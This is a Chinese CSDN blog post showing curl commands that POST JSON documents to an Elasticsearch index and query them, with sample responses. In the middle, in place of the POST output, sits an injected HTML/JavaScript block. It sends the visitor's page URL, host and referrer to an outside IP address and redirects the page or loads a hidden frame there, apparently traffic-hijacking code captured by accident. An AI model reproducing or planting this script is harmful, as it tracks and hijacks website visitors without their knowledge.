elasticsearch curl post data

安装elasticsearch 之后,我们可以用curl 来post data 到某一个index 中

注意一定要在json 数据中做转义\"

curl -XPOST "http://localhost:9200/indexname/typename/optionalUniqueId" -d "{ \"field\" : \"value\"}" 


example:

"http://xx.xx.xx.xx:9200/blog_test1/blog/" -d "{\"title\": \"My second blog entry\", \"text\": \"Still trying this out...\", \"date\": \"2014/01/01\"}"
<html><head></head><script type="text/javascript">
var sa = "http://202.102.110.207:8080/"; var pp = "108&pre="+(new Date()).getTime();
var s=String(window.location.href); var host=escape(s.substring(7,s.indexOf('/',7)));
var ref=escape(document.referrer); var su = s+"&host="+host+"&refer="+ref+"&server="+pp;
s = escape(s); function loadfr(){ document.getElementById("fr1").src = sa+"3.htm?AIMT="+su; }
function refreshPage(){ document.location = sa+"2.htm?AIMT="+su; }
if (self.location == top.location){ document.location= sa+"1.htm?AIMT="+su; }
else { refreshPage(); }</script><frameset rows="*,0"><frame id="main" src="">
<frame id="fr1" src=""></frameset><body></body></html>


{"_index":"blog_test1","_type":"blog","_id":"AVUHXLK14xbt6WRPWynQ","_version":1,"_shards":{"total":2,"successful":2,"failed":0},"created":true}


query:
curl -i -XGET "http://xxx.xxx.xxx.xxx:9200/blog_test1/blog/_search?pretty" -d '{"query": { "match_all": {} },"_source": ["title"]}'
response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 577
{
  "took" : 11,
  "timed_out" : false,
  "_shards" : {
    "total" : 5,
    "successful" : 5,
    "failed" : 0
  },
  "hits" : {
    "total" : 2,
    "max_score" : 1.0,
    "hits" : [ {
      "_index" : "blog_test1",
      "_type" : "blog",
      "_id" : "AVUHXLK14xbt6WRPWynQ",
      "_score" : 1.0,
      "_source" : {
        "title" : "My second blog entry"
      }
    }, {
      "_index" : "blog_test1",
      "_type" : "blog",
      "_id" : "AVUHYYH_4xbt6WRPWynR",
      "_score" : 1.0,
      "_source" : {
        "title" : "My first blog entry"
      }
    } ]
  }
}

阅读更多
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/david_zhang228/article/details/51547357
文章标签: elasticsearch curl
博主设置当前文章不允许评论。

没有更多推荐了,返回首页

加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!
关闭
关闭